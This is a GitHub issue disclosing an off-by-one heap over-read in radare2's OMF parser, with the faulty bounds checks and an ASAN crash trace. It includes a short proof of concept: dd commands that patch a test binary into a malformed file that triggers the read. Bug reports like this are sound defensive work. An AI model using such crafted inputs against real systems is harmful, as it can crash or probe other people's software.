Skip to content

Heap buffer over-read in OMF parser due to off-by-one #25277

Closed

Description

@Oblivionsage

Environment

# copypaste this script into your shell and replace it with the output
Tue Jan 20 09:22:27 PM CET 2026

radare2 6.0.9 +34886 abi:63 @ linux-x86-64
birth: git.6.0.8-118-g999a4db022 2026-01-18__19:17:50
commit: 999a4db0228a7a56f8ff1314207d0ac178e67f1c
options: gpl asan -O? cs:5 cl:2 meson

Linux x86_64

Description

Bounds check in r_bin_omf_get_entry() uses > instead of >=, allowing seg_idx = nb_section + 1 to bypass validation and cause heap OOB read.

if (obj->symbols[ct_sym]->seg_idx - 1 > obj->nb_section) {

if (sym->seg_idx - 1 > obj->nb_section) {

Correct check for reference (line 542):

if (((OMF_data *)((OMF_record *)tmp)->content)->seg_idx - 1 >= obj->nb_section) {

Test

We are going to use valid test file from : https://github.com/radareorg/radare2-testbins/blob/a1c2908fe380aab91ff398d977450df928dfd63a/omf/hello_world

# Create PoC from valid OMF file (2 sections, seg_idx=1)
# Change seg_idx to 3 (nb_section+1) and set checksum to 0

cp radare2-testbins/omf/hello_world /tmp/poc
printf '\x03' | dd of=/tmp/poc bs=1 seek=$((0x5A)) conv=notrunc
printf '\x00' | dd of=/tmp/poc bs=1 seek=$((0x65)) conv=notrunc

Trigger with ASAN build :

➜  radare2 git:(master) ./build/binr/radare2/radare2 -q -c "ie" /tmp/omf_oob_poc
=================================================================
==9926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000040a60 at pc 0x7ff1a9fcfd62 bp 0x7fff197350e0 sp 0x7fff197350d8
READ of size 8 at 0x502000040a60 thread T0
    #0 0x7ff1a9fcfd61 in r_bin_omf_get_entry ../libr/bin/format/omf/omf.c:711
    #1 0x7ff1a9e3367d in entries ../libr/bin/p/bin_omf.c:70
    #2 0x7ff1a9d7ba7d in r_bin_object_set_items ../libr/bin/bobj.c:413
    #3 0x7ff1a9d7a377 in r_bin_object_new ../libr/bin/bobj.c:258
    #4 0x7ff1a9d730ec in r_bin_file_new_from_buffer ../libr/bin/bfile.c:827
    #5 0x7ff1a9d44d55 in r_bin_open_buf ../libr/bin/bin.c:308
    #6 0x7ff1a9d454d0 in r_bin_open_io ../libr/bin/bin.c:373
    #7 0x7ff1aa9c1505 in r_core_file_load_for_io_plugin ../libr/core/cfile.c:485
    #8 0x7ff1aa9c304d in r_core_bin_load ../libr/core/cfile.c:740
    #9 0x7ff1ae0ff4d1 in binload ../libr/main/radare2.c:617
    #10 0x7ff1ae107d74 in r_main_radare2 ../libr/main/radare2.c:1615
    #11 0x55ddef8e2e4e in main ../binr/radare2/radare2.c:119
    #12 0x7ff1adee4ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #13 0x7ff1adee4d64 in __libc_start_main_impl ../csu/libc-start.c:360
    #14 0x55ddef8e2680 in _start (/home/oblivionsage/Desktop/radare2/build/binr/radare2/radare2+0x14680) (BuildId: 7e07ab39f525f27be5fc5cb8d826cb24005818b1)

0x502000040a60 is located 0 bytes after 16-byte region [0x502000040a50,0x502000040a60)
allocated by thread T0 here:
    #0 0x7ff1ae8f4610 in calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
    #1 0x7ff1a9fced50 in get_omf_infos ../libr/bin/format/omf/omf.c:575
    #2 0x7ff1a9fcfa7d in r_bin_internal_omf_load ../libr/bin/format/omf/omf.c:689
    #3 0x7ff1a9e32fbb in load ../libr/bin/p/bin_omf.c:11
    #4 0x7ff1a9d7a18f in r_bin_object_new ../libr/bin/bobj.c:243
    #5 0x7ff1a9d730ec in r_bin_file_new_from_buffer ../libr/bin/bfile.c:827
    #6 0x7ff1a9d44d55 in r_bin_open_buf ../libr/bin/bin.c:308
    #7 0x7ff1a9d454d0 in r_bin_open_io ../libr/bin/bin.c:373
    #8 0x7ff1aa9c1505 in r_core_file_load_for_io_plugin ../libr/core/cfile.c:485
    #9 0x7ff1aa9c304d in r_core_bin_load ../libr/core/cfile.c:740
    #10 0x7ff1ae0ff4d1 in binload ../libr/main/radare2.c:617
    #11 0x7ff1ae107d74 in r_main_radare2 ../libr/main/radare2.c:1615
    #12 0x55ddef8e2e4e in main ../binr/radare2/radare2.c:119
    #13 0x7ff1adee4ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow ../libr/bin/format/omf/omf.c:711 in r_bin_omf_get_entry
Shadow bytes around the buggy address:
  0x502000040780: fa fa 04 fa fa fa 02 fa fa fa 00 02 fa fa 00 fa
  0x502000040800: fa fa 02 fa fa fa fd fa fa fa fd fa fa fa 00 00
  0x502000040880: fa fa 00 00 fa fa 00 00 fa fa fd fd fa fa fd fd
  0x502000040900: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x502000040980: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x502000040a00: fa fa 05 fa fa fa 05 fa fa fa 00 00[fa]fa 00 fa
  0x502000040a80: fa fa 00 00 fa fa 07 fa fa fa 04 fa fa fa 04 fa
  0x502000040b00: fa fa 04 fa fa fa 05 fa fa fa 04 fa fa fa fa fa
  0x502000040b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000040c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000040c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9926==ABORTING
➜  radare2 git:(master)

Activity

  1. added a commit that references this issue on Jan 20, 2026
    71b405a
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions